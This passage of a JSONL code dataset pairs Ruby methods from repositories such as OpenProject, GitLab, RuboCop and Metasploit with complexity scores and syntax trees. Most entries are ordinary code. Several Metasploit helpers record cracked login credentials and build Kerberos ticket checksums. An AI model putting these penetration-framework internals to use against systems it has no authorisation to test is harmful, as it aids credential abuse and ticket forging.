book\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notifications\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_notifications\",{\"type\":\"str\",\"children\":[\"sql.active_record\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"first\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifications\"]},\"select\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]},\"match?\",{\"type\":\"str\",\"children\":[\"SELECT\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"row_count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"row_count\"]}]}]}]}]}","id":"b07cf81a-7e6f-4894-9463-4a2b116763d7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/configuration.rb","start_line":113,"raw_source":"def method_missing(name, *, &)\n        setting_name = name.to_s.sub(/\\?$/, \"\")\n\n        definition = Settings::Definition[setting_name]\n\n        if definition\n          define_config_methods(definition)\n\n          send(name, *, &)\n        else\n          super\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"restarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"definition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_config_methods\",{\"type\":\"lvar\",\"children\":[\"definition\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"forwarded_restarg\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[null]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"108cf118-1aa2-4b4f-9ec6-a68e898dedda"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":139,"raw_source":"def container_nodes\n    ids = get_assoc(:container_nodes)\n    ids.empty? ? ContainerNode.none : ContainerNode.where(:id => ids).order(:id)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"container_nodes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[null,\"get_assoc\",{\"type\":\"sym\",\"children\":[\"container_nodes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerNode\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerNode\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"ed7769ef-905e-47a8-b017-3d4ee9655246"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/labels_helper.rb","start_line":132,"raw_source":"def label_subscription_status(label, project)\n    return 'group-level' if label.subscribed?(current_user)\n    return 'project-level' if label.subscribed?(current_user, project)\n\n    'unsubscribed'\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"label_subscription_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"subscribed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"group-level\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"subscribed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"project-level\"]}]},null]},{\"type\":\"str\",\"children\":[\"unsubscribed\"]}]}]}","id":"3aa697cd-7782-4c15-9c34-37a3f7396878"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rabal/tree.rb","start_line":175,"raw_source":"def method_missing(method_id,*params,&block)\n    if not parameters.nil? and parameters.respond_to?(method_id, true) then\n      return parameters.send(method_id, *params, &block)\n    elsif not is_root? then\n      @parent.send method_id, *params, &block\n    else\n      raise NoMethodError, \"undefined method `#{method_id}' for #{name}:Tree\"\n    end\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_id\"]},{\"type\":\"restarg\",\"children\":[\"params\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method_id\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method_id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method_id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"undefined method `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_id\"]}]},{\"type\":\"str\",\"children\":[\"' for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\":Tree\"]}]}]}]}]}]}","id":"43e3d0c1-07f0-480c-a82b-dcac3542dcf5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/app/controllers/team_planner/menus_controller.rb","start_line":33,"raw_source":"def show\n      @submenu_menu_items = ::TeamPlanner::Menu.new(project: @project, params:).menu_items\n      if User.current.allowed_in_project?(:manage_team_planner, @project) &&\n        EnterpriseToken.allows_to?(:team_planner_view)\n        @create_btn_options = { href: new_project_team_planners_path(@project), module_key: \"team_planner\" }\n      end\n\n      render layout: nil\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@submenu_menu_items\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"TeamPlanner\"]},\"Menu\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]},\"menu_items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_team_planner\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]},\"allows_to?\",{\"type\":\"sym\",\"children\":[\"team_planner_view\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@create_btn_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"new_project_team_planners_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_key\"]},{\"type\":\"str\",\"children\":[\"team_planner\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"2ff1098e-74c5-4654-bfd9-2b087fd24d9b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb","start_line":59,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: opts[:service_name],\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      last_attempted_at: Time.now,\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::SUCCESSFUL,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"bc37c151-e0bf-477a-9a2c-27cb3152b3c4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/word_array.rb","start_line":118,"raw_source":"def complex_content?(strings, complex_regex: word_regex)\n          strings.any? do |s|\n            next unless s.str_content\n\n            string = s.str_content.dup.force_encoding(::Encoding::UTF_8)\n            !string.valid_encoding? ||\n              (complex_regex && !complex_regex.match?(string)) ||\n              string.include?(' ')\n          end\n        end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"complex_content?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strings\"]},{\"type\":\"kwoptarg\",\"children\":[\"complex_regex\",{\"type\":\"send\",\"children\":[null,\"word_regex\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strings\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"str_content\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"str_content\"]},\"dup\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Encoding\"]},\"UTF_8\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"valid_encoding?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"complex_regex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"complex_regex\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},\"!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"include?\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}","id":"ed3cf43f-72a6-42d4-a629-2e8def26e01c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":356,"raw_source":"def verify_expectations\n    @expectations&.each { |expectation| expectation.try(:verify_messages_received) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_expectations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expectations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expectation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"try\",{\"type\":\"sym\",\"children\":[\"verify_messages_received\"]}]}]}]}","id":"cd40b18b-004f-4972-b706-019a644efb79"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/kerberos/ticket.rb","start_line":313,"raw_source":"def create_ticket_checksum(checksum_type, checksum_enc_key, ticket_enc_part)\n            ticket_enc_part = ticket_enc_part.dup\n            ticket_enc_part.authorization_data = build_empty_auth_data\n            ticket_checksum = Rex::Proto::Kerberos::Pac::Krb5TicketChecksum.new(signature_type: checksum_type)\n            ticket_checksum.signature = calculate_checksum(\n              ticket_checksum.signature_type,\n              checksum_enc_key,\n              ticket_enc_part.encode\n            )\n            ticket_checksum\n          end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_ticket_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"checksum_type\"]},{\"type\":\"arg\",\"children\":[\"checksum_enc_key\"]},{\"type\":\"arg\",\"children\":[\"ticket_enc_part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ticket_enc_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket_enc_part\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket_enc_part\"]},\"authorization_data=\",{\"type\":\"send\",\"children\":[null,\"build_empty_auth_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ticket_checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Pac\"]},\"Krb5TicketChecksum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature_type\"]},{\"type\":\"lvar\",\"children\":[\"checksum_type\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket_checksum\"]},\"signature=\",{\"type\":\"send\",\"children\":[null,\"calculate_checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket_checksum\"]},\"signature_type\"]},{\"type\":\"lvar\",\"children\":[\"checksum_enc_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ticket_enc_part\"]},\"encode\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ticket_checksum\"]}]}]}","id":"dab8784e-beac-4373-b6f2-1ad0b6f0d0d3"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/template_test.rb","start_line":126,"raw_source":"def test_render_method_returning_null_with_ugly; skip\n    @base.instance_eval do\n      def empty\n        nil\n      end\n      def render_something(&block)\n        capture(self, &block)\n      end\n    end\n\n    content_to_render = \"%h1 This is part of the broken view.\\n= render_something do |thing|\\n  = thing.empty do\\n    = 'test'\"\n    result = render(content_to_render, :ugly => true)\n    expected_result = \"<h1>This is part of the broken view.</h1>\\n\"\n    assert_equal(expected_result, result)\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_method_returning_null_with_ugly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"def\",\"children\":[\"render_something\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"self\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content_to_render\",{\"type\":\"str\",\"children\":[\"%h1 This is part of the broken view.\\n= render_something do |thing|\\n  = thing.empty do\\n    = 'test'\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"content_to_render\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ugly\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_result\",{\"type\":\"str\",\"children\":[\"<h1>This is part of the broken view.</h1>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"40376210-be1b-4bd9-969c-f2a2213ab539"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/cells/application-settings-analysis.rb","start_line":465,"raw_source":"def fetch_type_and_description_from_api_documentation(as_attr)\n    existing_attribute_from_doc_api_settings = documentation_api_settings.find do |api|\n      api.attr == as_attr.attr\n    end\n    return unless existing_attribute_from_doc_api_settings\n\n    compatible_api_types = DB_TYPE_TO_COMPATIBLE_API_TYPES.fetch(as_attr.db_type, [as_attr.db_type])\n    if ENUM_ATTRIBUTES.include?(as_attr.attr) && compatible_api_types.include?('integer')\n      compatible_api_types = ['string']\n    end\n\n    unless compatible_api_types.include?(existing_attribute_from_doc_api_settings.api_type)\n      raise \"`#{as_attr.attr}`: Documented type `#{existing_attribute_from_doc_api_settings.api_type}` \" \\\n        \"isn't compatible with actual DB type `#{as_attr.db_type}`!\"\n    end\n\n    [existing_attribute_from_doc_api_settings.api_type, existing_attribute_from_doc_api_settings.description]\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_type_and_description_from_api_documentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"as_attr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_attribute_from_doc_api_settings\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"documentation_api_settings\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api\"]},\"attr\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"attr\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_attribute_from_doc_api_settings\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"compatible_api_types\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_TYPE_TO_COMPATIBLE_API_TYPES\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"db_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"db_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENUM_ATTRIBUTES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compatible_api_types\"]},\"include?\",{\"type\":\"str\",\"children\":[\"integer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compatible_api_types\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compatible_api_types\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_attribute_from_doc_api_settings\"]},\"api_type\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"attr\"]}]},{\"type\":\"str\",\"children\":[\"`: Documented type `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_attribute_from_doc_api_settings\"]},\"api_type\"]}]},{\"type\":\"str\",\"children\":[\"` \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"isn't compatible with actual DB type `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as_attr\"]},\"db_type\"]}]},{\"type\":\"str\",\"children\":[\"`!\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_attribute_from_doc_api_settings\"]},\"api_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_attribute_from_doc_api_settings\"]},\"description\"]}]}]}]}","id":"ef656b94-83d2-484c-9d6f-d844d915d442"}
